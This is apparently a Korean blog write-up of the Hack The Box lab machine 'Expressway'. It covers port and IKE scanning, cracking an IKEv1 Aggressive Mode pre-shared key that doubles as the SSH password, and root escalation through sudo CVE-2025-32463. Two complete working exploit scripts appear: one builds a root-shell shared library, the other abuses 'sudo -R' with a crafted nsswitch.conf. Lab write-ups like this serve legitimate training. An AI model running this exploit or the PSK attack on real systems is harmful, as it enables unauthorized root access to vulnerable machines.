Home HTB - Expressway Write-up
Post
Cancel

HTB - Expressway Write-up

HTB - Expressway 문제 풀이 입니다.

Port Scanning

PortScanning 시 오픈 포트는 1개가 열려있습니다.

  • 22 / ssh
1
2
3
4
5
6
7
# Nmap 7.95 scan initiated Tue Mar  3 20:06:25 2026 as: /usr/lib/nmap/nmap --privileged -Pn -oA tcp_well_scan 10.129.9.81
Nmap scan report for 10.129.9.81
Host is up (0.20s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

UDP 스캔을 통해 500 포트 (ike) 포트가 열려있는 것을 확인할 수 있습니다.

1
2
3
4
5
6
7
Nmap scan report for 10.129.9.81
Host is up (0.21s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

UDP 500 포트 (IKE)

UDP 500 포트는 IPsec 기반 VPN에서 사용하는 IKE (Internet Key Exchange) 프로토콜의 기본 포트

  • Internet Key Exchange (IKEv1 / IKEv2)
  • IPsec
  • NAT 환경에서는 UDP 4500 (NAT-T) 로 전환

Aggressive Mode 사용 여부

IKEv1 Aggressive ModePSK 해시를 노출할 수 있습니다.

hacktrick에서 자세한 공격 방법을 확인할 수 있습니다.

ike-scan 도구를 이용하여 스캔 결과 Aggressive Mode, Auth=PSK, ID=expressway.htb등을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ike-scan -M -A 10.129.9.81
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.9.81     Aggressive Mode Handshake returned
        HDR=(CKY-R=84f0a7843f3517d0)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.210 seconds (4.77 hosts/sec).  1 returned handshake; 0 returned notif
항목의미공격 관점
Aggressive ModePhase1 해시 노출✅ 오프라인 크래킹 가능
Auth=PSK사전공유키 사용✅ 해시 크래킹 대상
3DES약함다운그레이드 환경
SHA1약함현대 환경에선 deprecated
DH Group 2modp1024취약
ID_USER_FQDNike@expressway.htb 

Hash Cracking

아래 명령을 통해 Key(freakingrockstarontheroad)를 획득할 수 있었고, 이게 SSH 비밀번호라는걸 추측하는데 오래걸렸습니다. ㅋㅋㅋㅋ

IPSEC 핸드쉐이크 쪽을 공격하는줄….

1
2
3
4
5
6
7
$ ike-scan -M -A -n ike@expressway.htb --pskcrack=hash.txt 10.129.9.81

$ psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash f89a90f31a6f7fa003cb2ec29d2e97aaedef775b
Ending psk-crack: 8045040 iterations in 4.178 seconds (1925416.74 iterations/sec)

LPE (CVE-2025-32463)

sudo -v 명령을 통해 버전 확인 결과 1.9.17으로 CVE-2025-32463에 취약합니다.

1
2
3
4
5
6
sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.1

CVE-2025-32463에 PoC가 있고 gcc 없이 수행할 수 있습니다.

mkall-dynamic.sh 실행 후 get_root.sh 실행하면 ROOT 권한을 얻을 수 있습니다.
bash로 실행해야 됩니다!

mkall-dynamic.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash

set -euo pipefail

here=$(pwd)
outdir="${here}/archs-dynamic"
mkdir -p "${outdir}"

targets=(
  "x86_64:gcc"
  "i386:gcc -m32"
  "armv7l:arm-linux-gnueabihf-gcc"
  "aarch64:aarch64-linux-gnu-gcc"
  "riscv64:riscv64-linux-gnu-gcc"
)

for target in "${targets[@]}"; do
  IFS=":" read -r arch compiler <<< "$target"
  echo "[*] Compiling dynamic payload for $arch …"

  dir=$(mktemp -d /tmp/sudoking.compile.XXXXXX)
  trap 'rm -rf "${dir}"' RETURN
  cd "$dir"

  cat > king.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void king(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "bash", NULL);
}
EOF

  if ${compiler} -shared -fPIC -Wl,-init,king -o king.so.2 king.c 2>/dev/null; then
    base64 -w 0 king.so.2 > "${outdir}/king.${arch}.b64"
    echo "  [+] ${outdir}/king.${arch}.b64"
  else
    echo "  [!] Compilation failed for ${arch}"
  fi
done

echo "[*] All done – dynamic payloads are in archs-dynamic/."

get_root.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/bin/bash

# CVE‑2025‑32463 PoC launcher - Karrab
#   - Chooses the correct base‑64 payload for the local CPU
#   - Tries the “dynamic” build first, then falls back to “static”

set -euo pipefail

stage_dir=""

cleanup() {
  if [[ -n "$stage_dir" && -d "$stage_dir" ]]; then
    rm -rf "$stage_dir"
  fi
}
trap cleanup EXIT

detect_arch() {
  local arch
  arch=$(uname -m | tr '[:upper:]' '[:lower:]')
  case "$arch" in
    amd64|x64) echo x86_64 ;;
    i686|i586) echo i386 ;;
    armv8|arm64) echo aarch64 ;;
    *) echo "$arch" ;;
  esac
}

ARCH=$(detect_arch)
HERE=$(dirname "$(readlink -f "$0")")
DIRS=("$HERE/archs-dynamic" "$HERE/archs-static")
B64_NAME="king.${ARCH}.b64"

run_exploit() {
  local payload_b64="$1"
  local label="$2"

  stage_dir=$(mktemp -d /tmp/sudo_king.stage.XXXXXX)
  cd "$stage_dir"

  mkdir -p king/etc libnss_

  echo "$payload_b64" | base64 -d > libnss_/king.so.2
  chmod 755 libnss_/king.so.2

  echo "passwd: /king" > king/etc/nsswitch.conf
  cp /etc/group king/etc/group

  echo "[*] Launching sudo with $label payload …"
  sudo -R king king
  return $?
}

main() {
  echo "[*] Detected architecture: $ARCH"
  for dir in "${DIRS[@]}"; do
    local b64_file="$dir/$B64_NAME"
    local label
    label=$(basename "$dir")

    if [[ ! -f "$b64_file" ]]; then
      echo "[!] Missing payload file: $b64_file"
      continue
    fi

    local payload_b64
    payload_b64=$(< "$b64_file")
    if run_exploit "$payload_b64" "$label"; then
      echo "[+] Exploit succeeded – root shell should be open."
      exit 0
    else
      echo "[!] $label payload failed. Trying next …"
    fi
  done

  echo "[!] All payload variants failed. Check architecture mapping or rebuild."
  exit 1
}

main "$@"

Conclusion

업무가 기존에 해왔던 모의해킹 취약점 관리, 침투테스트 업무에서 오픈소스, 소스코드 점검 업무로 바뀌면서 정신이 없습니다.

점검 결과를 보면서 실제 위험한 취약점이 있는지 찾아 내는게 생각보다 어렵네요 ㅠㅠ 아직 실력이 많이 부족합니다…

그렇지만 코드를 보면서 개발자 입장에서 왜 이렇게 개발 했을까를 생각하면서 취약점을 찾으니 조금은 이해가 되네요^^;

그나저나 요즘은 AI 도구를 이용해 오픈소스의 Zero Day, 소스코드의 비지니스 로직 취약점도 잘 찾는거 같은데 빨리 도입해서 현업과 보안 모두 점검을 조금 더 편하게 할 수 있는 미래가 왔으면 좋겠습니다.